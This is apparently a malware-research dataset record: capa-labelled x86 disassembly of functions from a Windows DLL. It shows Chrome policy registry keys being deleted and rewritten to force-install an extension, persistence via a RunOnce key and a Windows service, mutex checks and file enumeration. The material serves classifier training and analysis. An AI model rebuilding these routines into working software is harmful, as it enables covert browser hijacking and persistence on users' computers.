joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001eac
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 2
push ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x14], 0xea502723
mov word [ebp - 0x10], 0xa23d
mov word [ebp - 0xe], 0x11d1
mov byte [ebp - 0xc], 0xa7
mov byte [ebp - 0xb], 0xd3
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], 0xf8
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x71
mov byte [ebp - 5], 0xe3
mov dword [ebp - 0x24], 0xea502722
mov word [ebp - 0x20], 0xa23d
mov word [ebp - 0x1e], 0x11d1
mov byte [ebp - 0x1c], 0xa7
mov byte [ebp - 0x1b], 0xd3
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0xf8
mov byte [ebp - 0x17], 0x75
mov byte [ebp - 0x16], 0x71
mov byte [ebp - 0x15], 0xe3
mov dword [ebp - 0x34], 0x35378eac
mov word [ebp - 0x30], 0x683f
mov word [ebp - 0x2e], 0x11d2
mov byte [ebp - 0x2c], 0xa8
mov byte [ebp - 0x2b], 0x9a
mov byte [ebp - 0x2a], bl
mov byte [ebp - 0x29], 0xc0
mov byte [ebp - 0x28], 0x4f
mov byte [ebp - 0x27], 0xbb
mov byte [ebp - 0x26], 0xcf
mov byte [ebp - 0x25], 0xa2
mov dword [ebp - 0x44], 0x3d271cfc
mov word [ebp - 0x40], 0x2bc6
mov word [ebp - 0x3e], 0x4ac2
mov byte [ebp - 0x3c], 0xb6
mov byte [ebp - 0x3b], 0x33
mov byte [ebp - 0x3a], 0x3b
mov byte [ebp - 0x39], 0xdf
mov byte [ebp - 0x38], 0xf5
mov byte [ebp - 0x37], 0xbd
mov byte [ebp - 0x36], 0xab
mov byte [ebp - 0x35], 0x2a
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x10002062
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x14]
push eax
push 1
push ebx
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1000205c
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x14]
cmp eax, ebx
jl 0x1000205c
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
push esi
push edi
lea edx, [ebp - 0x48]
push edx
push 2
push eax
call dword [ecx + 0x3c]
mov edi, eax
lea eax, [ebp - 0x50]
push eax
push 0xf003f
push ebx
mov esi, 0x10070d88
push esi
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x10070d84
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push esi
push dword [ebp - 0x48]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
call esi
push str.SoftwarePoliciesGoogleChrome_
push dword [ebp - 0x48]
call esi
push str.SoftwarePoliciesGoogle_
push dword [ebp - 0x48]
call esi
push dword [ebp - 0x50]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
cmp edi, ebx
jl 0x1000205a
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
lea edx, [ebp - 0x44]
push edx
lea edx, [ebp - 0x34]
push edx
push 1
push 1
push eax
call dword [ecx + 0x1c]
cmp eax, ebx
jl 0x1000205a
push dword [ebp - 0x48]
call esi
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
pop esi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10041ffa
leave
ret
Function at 0x10002489
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 2
push ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x24], 0xea502723
mov word [ebp - 0x20], 0xa23d
mov word [ebp - 0x1e], 0x11d1
mov byte [ebp - 0x1c], 0xa7
mov byte [ebp - 0x1b], 0xd3
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0xf8
mov byte [ebp - 0x17], 0x75
mov byte [ebp - 0x16], 0x71
mov byte [ebp - 0x15], 0xe3
mov dword [ebp - 0x44], 0xea502722
mov word [ebp - 0x40], 0xa23d
mov word [ebp - 0x3e], 0x11d1
mov byte [ebp - 0x3c], 0xa7
mov byte [ebp - 0x3b], 0xd3
mov byte [ebp - 0x3a], bl
mov byte [ebp - 0x39], bl
mov byte [ebp - 0x38], 0xf8
mov byte [ebp - 0x37], 0x75
mov byte [ebp - 0x36], 0x71
mov byte [ebp - 0x35], 0xe3
mov dword [ebp - 0x14], 0x35378eac
mov word [ebp - 0x10], 0x683f
mov word [ebp - 0xe], 0x11d2
mov byte [ebp - 0xc], 0xa8
mov byte [ebp - 0xb], 0x9a
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], 0xc0
mov byte [ebp - 8], 0x4f
mov byte [ebp - 7], 0xbb
mov byte [ebp - 6], 0xcf
mov byte [ebp - 5], 0xa2
mov dword [ebp - 0x34], 0x3d271cfc
mov word [ebp - 0x30], 0x2bc6
mov word [ebp - 0x2e], 0x4ac2
mov byte [ebp - 0x2c], 0xb6
mov byte [ebp - 0x2b], 0x33
mov byte [ebp - 0x2a], 0x3b
mov byte [ebp - 0x29], 0xdf
mov byte [ebp - 0x28], 0xf5
mov byte [ebp - 0x27], 0xbd
mov byte [ebp - 0x26], 0xab
mov byte [ebp - 0x25], 0x2a
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x10002632
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push ebx
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1000262c
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x14]
cmp eax, ebx
jl 0x1000262c
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
push esi
lea edx, [ebp - 0x50]
push edx
push 2
push eax
call dword [ecx + 0x3c]
push ebx
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x4c]
push eax
push ebx
push 3
push ebx
push ebx
push ebx
push 0x10070d88
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, str.kpfmidcdnfpaamdaobjiiamaihdigaoj_https:__clients2.google.com_service_update2_crx
push esi
call fcn.100428d5
pop ecx
add eax, eax
push eax
push esi
push 1
push ebx
push 0x10070d84
push dword [ebp - 0x4c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x4c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
cmp dword [ebp - 0x54], ebx
jl 0x1000262b
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
lea edx, [ebp - 0x14]
push edx
push 1
push 1
push eax
call dword [ecx + 0x1c]
cmp eax, ebx
jl 0x1000262b
push dword [ebp - 0x50]
call esi
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop esi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10041ffa
leave
ret
Function at 0x10003332
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [0x10086d18]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0x10]
push 1
push 2
push 1
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
cmp eax, esi
pop esi
jne 0x10003369
xor eax, eax
pop ebp
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
inc eax
pop ebp
ret

Function at 0x100033b1
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
call dword [0x10086d18]
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0xff
cmp eax, 5
push edi
lea eax, [ebp - 0x84]
jb 0x100033f0
push str..Global_s
jmp 0x100033f5
push str.._s
push eax
call fcn.10043b8d
add esp, 0xc
push 0
push 0x80
push 4
push 0
push 7
push 0xc0000000
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x10003426
xor eax, eax
jmp 0x10003438
test esi, esi
je 0x1000342e
mov dword [esi], eax
jmp 0x10003435
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10041ffa
leave
ret

Function at 0x10003446
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x1000347e
push edi
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x100035b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x103]
push ebx
push eax
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x108], ebx
mov byte [ebp - 0x104], bl
call fcn.10042010
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
mov esi, 0x20019
push esi
push ebx
push str.SoftwareMicrosoftShared_ToolsATUVP
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x10c], ebx
call edi
test eax, eax
jne 0x10003772
lea eax, [ebp - 0x108]
push eax
push esi
push ebx
push str.FiltersFile
push dword [ebp - 0x110]
call edi
test eax, eax
mov esi, 0x100
jne 0x10003680
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x104]
push eax
push ebx
push ebx
push str.Label
push dword [ebp - 0x108]
mov dword [ebp - 0x10c], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10003674
lea eax, [ebp - 0x104]
push eax
call fcn.1000357c
pop ecx
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
push eax
push 0x20019
push ebx
push str.FiltersProcess
push dword [ebp - 0x110]
call edi
test eax, eax
jne 0x100036f3
push esi
lea eax, [ebp - 0x104]
push ebx
push eax
mov dword [ebp - 0x10c], esi
call fcn.10042010
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x104]
push eax
push ebx
push ebx
push str.Label
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100036e7
lea eax, [ebp - 0x104]
push eax
call fcn.1000357c
pop ecx
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
push eax
push 0x20019
push ebx
push str.FiltersRegistry
push dword [ebp - 0x110]
call edi
test eax, eax
jne 0x10003766
push esi
lea eax, [ebp - 0x104]
push ebx
push eax
mov dword [ebp - 0x10c], esi
call fcn.10042010
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x104]
push eax
push ebx
push ebx
push str.Label
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000375a
lea eax, [ebp - 0x104]
push eax
call fcn.1000357c
pop ecx
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x110]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10041ffa
leave
ret
Function at 0x10004e07
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
push edi
mov ebx, ecx
jne 0x10004e20
push 0x80004005
call fcn.100011df
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x10004e22
push edi
push dword [ebp + 0xc]
push 7
push 0
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x100054d0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x2001f
mov ebx, ecx
push eax
push dword [ebx]
xor esi, esi
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x208], esi
call fcn.100020c0
mov edi, eax
cmp edi, esi
je 0x10005530
lea ecx, [ebp - 0x208]
call fcn.100020a9
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10041ffa
leave
ret 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x1000554e
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x208]
call fcn.100054d0
cmp eax, esi
jne 0x10005596
lea eax, [ebp - 0x218]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push esi
push dword [ebp - 0x208]
mov dword [ebp - 0x20c], 0x100
call edi
test eax, eax
je 0x10005538
lea ecx, [ebp - 0x208]
call fcn.100020a9
push dword [ebp - 0x210]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea ecx, [ebp - 0x208]
mov esi, eax
call fcn.100020a9
mov eax, esi
jmp 0x1000551f
Function at 0x10008203
Capabilities:
Create directory

Disassembly:
push 0x28
mov eax, 0x1006ac58
call fcn.10043a00
mov ebx, dword [ebp + 8]
mov si, word [ebx]
and dword [ebp - 4], 0
neg si
sbb esi, esi
and esi, 0x7ff8ffa9
add esi, 0x80070057
js 0x100082df
lea ecx, [ebp - 0x34]
call fcn.100045f8
mov eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
lea ecx, [ebp - 0x20]
and eax, ecx
push eax
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x10008273
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x100082d7
test eax, eax
jle 0x1000826f
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
jmp 0x100082d7
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
push str.S_1_5_18
call sub.ADVAPI32.dll_ConvertStringSidToSidW
test eax, eax
je 0x100082c8
push str.SeSecurityPrivilege
call fcn.10002c9e
test eax, eax
pop ecx
je 0x100082c8
push str.SeTakeOwnershipPrivilege
call fcn.10002c9e
test eax, eax
pop ecx
je 0x100082c8
push dword [ebp - 0x28]
lea ecx, [ebp + 8]
push dword [ebp - 0x24]
push 0
push dword [ebp - 0x10]
push 0x1d
push 1
call fcn.100062ac
push eax
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoW]
mov ebx, dword [ebp + 8]
cmp dword [ebp - 0x10], 0
je 0x100082d7
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [ebp - 0x34]
call fcn.10002bec
lea ecx, [ebx - 0x10]
call fcn.1000285b
mov eax, esi
call fcn.10043ad8
ret
Function at 0x100088f0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x801c
call fcn.10042c60
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x800c], 0
lea eax, [ebp - 0x800c]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10008a2f
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x8014]
push eax
mov ecx, esi
call fcn.10008521
push esi
push dword [esi + 4]
lea ecx, [ebp - 0x801c]
call fcn.100060c8
lea eax, [ebp - 0x801c]
push eax
lea ecx, [ebp - 0x8014]
call fcn.10002875
test al, al
jne 0x10008a2e
push ebx
push edi
and word [ebp - 0x8008], 0
push 0x8000
lea eax, [ebp - 0x8006]
push 0
push eax
call fcn.10042010
add esp, 0xc
lea ecx, [ebp - 0x8014]
call fcn.10004397
push 0xffffffffffffffff
push dword [eax + 8]
lea eax, [ebp - 0x8008]
push 0x4001
push eax
call fcn.100421ff
add esp, 0x10
lea ecx, [ebp - 0x8014]
call fcn.10004397
lea ecx, [ebp - 0x8014]
mov edi, eax
call fcn.10004397
mov ebx, dword [eax]
lea eax, [ebp - 0x8008]
push eax
call fcn.100428d5
pop ecx
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x8008]
push eax
push dword [edi + 4]
push 0
push ebx
push dword [ebp - 0x800c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [ebp - 0x8014]
call fcn.10002829
push esi
push dword [esi + 4]
lea ecx, [ebp - 0x801c]
call fcn.100060c8
lea eax, [ebp - 0x801c]
push eax
lea ecx, [ebp - 0x8014]
call fcn.10002875
test al, al
je 0x10008971
pop edi
pop ebx
pop esi
cmp dword [ebp - 0x800c], 0
je 0x10008a44
push dword [ebp - 0x800c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10041ffa
leave
ret
Function at 0x10008a50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1006acd5
call fcn.10043a9f
mov edi, ecx
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
call dword [0x10086d18]
xor esi, esi
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x42c], edi
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x418], esi
push 2
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, eax
cmp ebx, esi
mov dword [ebp - 0x428], ebx
jne 0x10008abf
call fcn.100016bc
mov esi, eax
jmp 0x10008bc8
push dword [ebp - 0x420]
push dword [ebp - 0x41c]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, esi
jne 0x10008ae2
call fcn.100016bc
jmp 0x10008bba
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
mov dword [ebp - 0x420], eax
je 0x10008ad8
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
cmp eax, edi
mov dword [ebp - 0x41c], edi
jae 0x10008b3e
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10008b24
lea ecx, [ebp - 0x418]
call fcn.1000540b
mov esi, 0x8007000e
lea ecx, [ebp - 0x424]
call fcn.10002e9a
mov eax, esi
call fcn.10043afb
ret 0x10
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.10006234
mov dword [ebp - 4], 1
jmp 0x10008b6c
mov ebx, dword [ebp - 0x418]
cmp ebx, esi
jne 0x10008b7d
mov esi, 0x8007000e
jmp 0x10008bbc
call dword [0x10086d18]
push edi
push ebx
push edi
push dword [ebp - 0x420]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, esi
je 0x10008ad8
mov ecx, dword [ebp - 0x418]
push dword [ebp + 0x14]
mov word [ecx + eax*2], si
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.100083c7
mov esi, eax
push dword [ebp - 0x428]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10008b29
lea ecx, [ebp - 0x418]
call fcn.1000540b
jmp 0x10008b29
Function at 0x10009443
Capabilities:
Check mutex on windows

Disassembly:
push 0x28
mov eax, 0x1006ae01
call fcn.10043a00
mov ebx, dword [ebp + 8]
mov esi, ebx
neg esi
sbb esi, esi
and esi, 0x7ff8ffa9
add esi, 0x80070057
js 0x10009532
push str.750C312C_A82C_4750_89C0_5FFDBA418F71
lea ecx, [ebp - 0x10]
call fcn.10004a7a
and dword [ebp - 4], 0
push 0x100884b0
lea ecx, [ebp + 8]
call fcn.10004658
mov eax, dword [ebp - 0x10]
test eax, eax
mov byte [ebp - 4], 1
jne 0x10009498
mov eax, 0x10070adc
push eax
lea eax, [ebp + 8]
push str.Global_s
push eax
call fcn.100093b9
add esp, 0xc
lea ecx, [ebp - 0x34]
call fcn.100045f8
mov eax, dword [ebp - 0x1c]
push dword [ebp + 8]
neg eax
sbb eax, eax
lea ecx, [ebp - 0x20]
and eax, ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
test edi, edi
jne 0x100094e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x100094e4
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
jmp 0x10009517
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10009515
cmp eax, 0x80
je 0x10009515
test eax, eax
jle 0x1000950a
and eax, 0xffff
or eax, 0x80070000
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10009517
mov dword [ebx], edi
lea ecx, [ebp - 0x34]
call fcn.10002bec
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.1000285b
lea ecx, [ebp - 0x10]
call fcn.1000158f
mov eax, esi
call fcn.10043ad8
ret
Function at 0x1000953a
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x24f0
call fcn.10042c60
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
push 0xa28
lea eax, [ebp - 0x1a6e]
push edi
push eax
mov word [ebp - 0x1a70], di
call fcn.10042010
lea eax, [ebp - 0x24e4]
push eax
mov dword [ebp - 0x24f0], 0x515
mov dword [ebp - 0x24e4], edi
call fcn.10009443
add esp, 0x10
cmp eax, edi
jl 0x1000977a
lea eax, [ebp - 0x24f0]
push eax
lea eax, [ebp - 0x1a70]
push eax
call fcn.100016d1
cmp eax, edi
pop ecx
pop ecx
jne 0x1000977a
push ebx
push esi
mov esi, 0x40e
push esi
lea eax, [ebp - 0x822]
push edi
push eax
mov word [ebp - 0x824], di
call fcn.10042010
lea eax, [ebp - 0x1a70]
push eax
lea eax, [ebp - 0x824]
push str._scomponents_ffe.dll
push eax
call fcn.10043b8d
lea eax, [ebp - 0x824]
push eax
call fcn.10010d10
push 0x81e
lea eax, [ebp - 0x228e]
push edi
push eax
mov word [ebp - 0x2290], di
call fcn.10042010
lea eax, [ebp - 0x1a70]
push eax
lea eax, [ebp - 0x2290]
push str._scomponents_
push eax
call fcn.10043b8d
lea eax, [ebp - 0x1a70]
push eax
lea eax, [ebp - 0x1e80]
push str._sbrowsercomponents_
push eax
call fcn.10043b8d
add esp, 0x40
lea ebx, [ebp - 0x2290]
mov dword [ebp - 0x24e8], 2
push esi
lea eax, [ebp - 0xc32]
push edi
push eax
mov word [ebp - 0xc34], di
call fcn.10042010
push ebx
lea eax, [ebp - 0xc34]
push str._s.dll
push eax
call fcn.10043b8d
push 0x24c
lea eax, [ebp - 0x24dc]
push edi
push eax
mov dword [ebp - 0x24e0], edi
call fcn.10042010
add esp, 0x24
lea eax, [ebp - 0x24e0]
push eax
lea eax, [ebp - 0xc34]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x24ec], eax
je 0x10009766
push esi
lea eax, [ebp - 0x412]
push edi
push eax
mov word [ebp - 0x414], di
call fcn.10042010
lea eax, [ebp - 0x24b4]
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.10042c3b
add esp, 0x14
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp eax, edi
je 0x1000973f
mov word [eax], di
lea eax, [ebp - 0x414]
push eax
call fcn.1004417d
test eax, eax
pop ecx
je 0x1000973f
push esi
lea eax, [ebp - 0x1042]
push edi
push eax
mov word [ebp - 0x1044], di
call fcn.10042010
lea eax, [ebp - 0x24b4]
push eax
push ebx
lea eax, [ebp - 0x1044]
push str._s_s
push eax
call fcn.10043b8d
lea eax, [ebp - 0x1044]
push eax
call fcn.10010d10
add esp, 0x20
lea eax, [ebp - 0x24e0]
push eax
push dword [ebp - 0x24ec]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100096b2
push dword [ebp - 0x24ec]
call dword [sym.imp.KERNEL32.dll_FindClose]
add ebx, 0x410
dec dword [ebp - 0x24e8]
jne 0x1000964d
pop esi
pop ebx
cmp dword [ebp - 0x24e4], edi
pop edi
je 0x1000979b
push dword [ebp - 0x24e4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [ebp - 0x24e4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10041ffa
leave
ret
Function at 0x100098bf
Capabilities:
Check if file exists
Create process on windows

Disassembly:
push 0x58
mov eax, 0x1006ae7a
call fcn.10043a00
mov edi, dword [ebp + 8]
xor esi, esi
cmp edi, esi
mov dword [ebp - 0x10], esi
je 0x1000999b
cmp word [edi], si
je 0x1000999b
push edi
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x1000999b
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x1000999b
push 0x100884b0
lea ecx, [ebp + 8]
call fcn.10004658
push edi
lea eax, [ebp + 8]
push str.__s___UnregServer
push eax
mov dword [ebp - 4], esi
call fcn.100093b9
xor eax, eax
mov dword [ebp - 0x20], esi
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
stosd dword es:[edi], eax
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.10042010
add esp, 0x18
mov dword [ebp - 0x64], 0x44
call fcn.100097a7
mov ebx, dword [ebp + 8]
mov edi, eax
cmp edi, esi
je 0x10009993
push edi
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push esi
push 0x10
push esi
push esi
push esi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x10009990
push 0xffffffffffffffff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x1c]
call esi
push edi
call esi
lea ecx, [ebx - 0x10]
call fcn.1000285b
mov eax, dword [ebp - 0x10]
call fcn.10043ad8
ret